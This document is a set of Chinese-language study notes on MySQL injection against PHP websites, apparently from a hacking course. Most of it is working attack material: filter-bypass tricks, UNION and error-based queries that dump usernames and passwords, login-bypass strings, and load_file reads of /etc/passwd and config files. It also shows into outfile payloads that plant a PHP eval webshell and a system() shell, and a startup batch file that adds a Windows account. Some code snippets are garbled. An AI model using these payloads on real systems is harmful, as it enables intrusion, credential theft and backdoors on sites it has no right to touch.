Mysql注入:
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle旗下公司,MySQL最流行的关系型数据库管理系统,在WEB应用方面MYSQL是最好的RDBMS(关系数据库管理系统)应用软件之一.MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性.MySQL所使用的SQL语言是用于访问数据库的最常用标准化语言.MySQL软件采用了双授权政策,它分为社区版和商业版,由于其体积小,速度快,总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择MySQL作为网站数据库.由于其社区版的性能卓越,搭配PHP和Apache可组成良好的开发环境.
lamp平台(linux+apache+mysql+php脚本)
php+mysql
mysql安装
yum -y install httpd php mysql php-mysql mysql-server
MySQL简单的操作命令:
1.说明:创建数据库
CREATE DATABASE database-name
2.说明:删除数据库
drop database dbname
3.说明:创建新表
CREATE TABLE MYTABLE (name VARCHAR(20),sex CHAR(1));
4.查看数据库
show databases;
//不清楚表名,用这个
union select 1,2,3,4 from information_schema.tables
use information_schema;
show tables;
select * from tables;
//创建表名
create database cracer;
show databases;
//创建表数据
use cracer
create table user(name varchar(20),pass varchar(20));
show tables;
//插入数据
insert into user(name,pass) values('admin','123456');
select * from user
Msql函数
1.system_user()系统用户名
2.user() 用户名
3.current_user 当前用户名
4.session_user() 连接数据库的用户名
5.database() 数据库名
6.version() MYSQL数据库版本
7.load_file() 转成16进制或者是10进制MYSQL读取本地文件的函数
8.@@datadir 读取数据库路径
9.@@basedir MYSQL安装路径
10.@@version_compile_os 操作系统
reg:
select user();
select version();
select database();
Mysql数据库连接
<?php
$host='localhost';//数据库地址
$database='sui';//数据库名称
$user='root';//数据库账户
$pass='';//数据库密码
$pass='';//数据库密码
$webml='/0/';//安装文件夹
?>
//root相当于sa权限
dede(织梦):存放数据库连接信息的文件:data/common.inc.php
数据库结构对比:
access:
A网站:adata.mdb
表名(admin)
列名(user,pass)
值
B网站:bdata.mdb
表名(admin)
列名(user,pass)
值
mysql
A数据库名
B数据库名
表名
列名
值
Mysql注入原理
注入产生原理及防护绕过
注入形成原理
简单防注入实现
绕过防注入
$id=verify_null(verify_id($_GET['id']),"参数");
这里是有处理的(经两个函数处理过)
简单的防注入实现(1)
function check_sql($x){
$inject=array("select","union","from","and","or");
$i=str_replace($inject,"",$x);
return %i;
}
/*
function check_sql($Sql_Str){//自动过滤Sql的注入语句.
$check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$Sql_Str);
if($check){
echo '<script language="JavaScript">alert("系统警告:\n\n请不要尝试在参数中包含非法字符尝试注入!");</script>';
exit();
}else{
return $Sql_Str;
}
}
*/
简单的防注入实现(2)
<?php
function inject_check($str){
$tmp=eregi('and|select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile',$str);//进行过滤
if($tmp){
echo "输入非法注入内容!";
exit();
}else{
return $str;
}
}
$servername="localhost";
$dbusername="root";
$dbpassword="root";
$dbnam"jian";
$id=$_GET('id');
$id=inject_check($id);
...
>
$id=$_GET('id');
select * from admin where id=$id;
<?php
$servername="localhost";
$dbusername="root";
$dbpassword="root";
$dbnam"jian";
$id=$_GET('id');
$cksql=array("and","union","select","from","order by");
$id=str_replace($cksql,"",$id);
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
mysql_select_db($dbname,$conn);
$sql="SELECT * FROM yzsoumember WHERE id=$id";
$result=mysql_db_query($dbname,$sql,$conn);
echo $sql;
/php>
当and 1=1里面的and替换成空时,
绕过方式:
防注(1)大小写And,aandnd 1=1
防注(2)%00编码绕过%20a%00nd%201=1,%20a%01nd%201=1
(%0aand%0a1=1)
判断注入:
and 1=1 返回正常
and 1=2 返回不正常 存在注入点
注入:?id=13 order by 10 返回正常则说明有10列
->UNION查询->让它报错 and 1=2 或者 id=-13 //找的是非数字列
->2改成version(),user(),database()->最后一个爆数据库表
-> group_concat(table_name),3,4,5...8,9,10 from information_schema.tables where table_schema=十六进制表名
->漏洞利用->小葵转16进制(Hex)
->group_concat(column_name),3,4,5...8,9,10 from information_schema.tables where column_name=十六进制列名
->group_concat(m_name,0x7e,m_pwd),3,4,5...8,9,10 from manage_user //爆数据,加0x7e(~)来区分两变量
Mysql 4.0 渗透
利用sqlmap注入读取文件
查询表名称
进行查询
sqlmap --sql-shell
select load_file('/usr/www/inde.php');
Mysql显错注入
判断是否存在注入输入'
reg:输入admin',出现You have an error in your SQL syntax;
爆当前数据库用户
-99999999999' union select 1 from (select count(*),contcat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
爆当前数据库名称
-99999999999' union select 1 from (select count(*),contcat(floor(rand(0)*2),(select database() limit 0,1))a from information_schema.tables group by a)b#
爆当前版本号
-99999999999' union select 1 from (select count(*),contcat(floor(rand(0)*2),(select version() limit 0,1))a from information_schema.tables group by a)b#
(上方代码直接带入用户名里面进行登陆查询)
(#代表 直接注释掉后面的代码)
0x+暴露数据库/表名(因为爆出来的是16进制,需要将16进制还原回10进制)
爆第二个表:(把limit 0->1)
'and(select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x64656E67 and table_name=0x75736572 limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆内容
'and(select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,user.username,0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
'and(select 1 from (select count(*),concat((select (select distinct concat(0x7e,0x27,user.password,0x27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
And sleep(5)
+ And Extractvalue(1,Concat(0x7e,(selecT @@version),0x7e))
%0a,and 1=1,大写...像这样的可以在中间加A%00nd,%01,关键字用%00拆开就好
先用(admin'测试,如果有注入,就可以这样绕过)
后台绕过
select * from user where username="and passowrd=''
输入: admin'#
select * from user where username='admin'#' and password=''
输入: admin'or'1=1
select * from user where username='admin' or '1=1' and passowrd=''
admin'# --登录成功
admin' or '1'='1 --登录成功
Mysql读写函数的使用
load_file()函数
该函数是用来读取源文件的函数
只能读取绝对路径的网页文件
在使用load_file()时应先找到网站绝对路径
例如:
d:/www/xx/index.php
/usr/src/apache/htdoc/index.php
注意:
1.路径符合"\"错误"\\"正确"/"正确
2.转换十六进制数,就不要''
获取网站根路径
1.报错显示
2.谷歌黑客
site:目标网站warning
3.遗留文件phpinfo info test php
4.漏洞爆路径
5.读取配置文件
读取网站文件内容
and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 and 1=2 union select 1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C636F6E6669672E706870),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
(或者将路径加上引号一起转成十六进制,转之前用一个\就行了)
and 1=2 union select 1,load_file('C:\\Inetpub\\wwwroot\\mysql-sql\\inc\\xyconn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
c:/windows/system32/inetsrv/metabase.xml//配置网站信息的
/etc/passwd
/var/log/message
/etc/httpd/conf/log/access_log
上传报错爆破比较简单
写入函数into outfile
(即导入一句话脚本木马)
and 1=2 union select 1,"<?php @eval($_POST['cracer']);?>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cracer.txt'
利用注入漏洞执行系统命令:
第一种方法:需要使用wamp环境搭建需要系统权限才能执行
and 1=2 union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/ [开始]菜单/程序/启动/1.bat'
第二种方法:
and 1=2 union select 1,"<pre><body><?@system($_GET['cc']);?></body></pre>",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php'
魔术引号与宽字节注入:
本特性已自5.3.0起废弃并将自PHP5.4.0起移除.
当打开时,所有的'(单引号),"(双引号),\(反斜线)和NULL字符都会被自动加上一个反斜线进行转义,这和addslashes()作用完全相同
一共有三个魔术引号指令
magic_quotes_gpc影响到HTTP请求数据(GET,POST和COOKIE)
不能在运行时改变,在PHP中默认值为on.参加get_magic_quotes_gpc().
magic_quotes_runtime如果打开的话,大部分从外部来源取得数据并返回的函数
包括从数据库和文本文件,所返回的数据都会被反斜线转义
该选项可在运行时改变,在PHP中的默认值为off
参见set_magic_quotes_runtime()和get_magic_quotes_runtime()
magic_quotes_sybase如果打开的话,将会使用单引号进行转义而非反斜线
此选项会完全覆盖magic_quotes_gpc
如果同时打开两个选项的话,单引号将会被转义成".而双引号,反斜线和NULL字符将不会进行转义
如何取得其值参见ini_get()
当magic_quotes_gpc开启时,'会过滤成\'
关于魔术引号注入
使用宽字节注入绕过魔术引号
%df%27
sqlmap.py -u "cracer.com/xx.php?id=1"
--risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3
宽字节相当于%bf%27
注入工具:
萝卜头,穿山甲,sqlmap等
Pangolin
sqlmap.py -u "http://...."
--dbs
--current-user
--os-shell
php
2 手动输入数据库路径
--current -db
-tables -D xy
-D -T manager_user --columns
-D -T manager_user -C m_name,m_pwd --dump
--sql -shell
select load_file("路径");
select load_file("路径/wwwroot/sysqlql-sql/xyconn.php");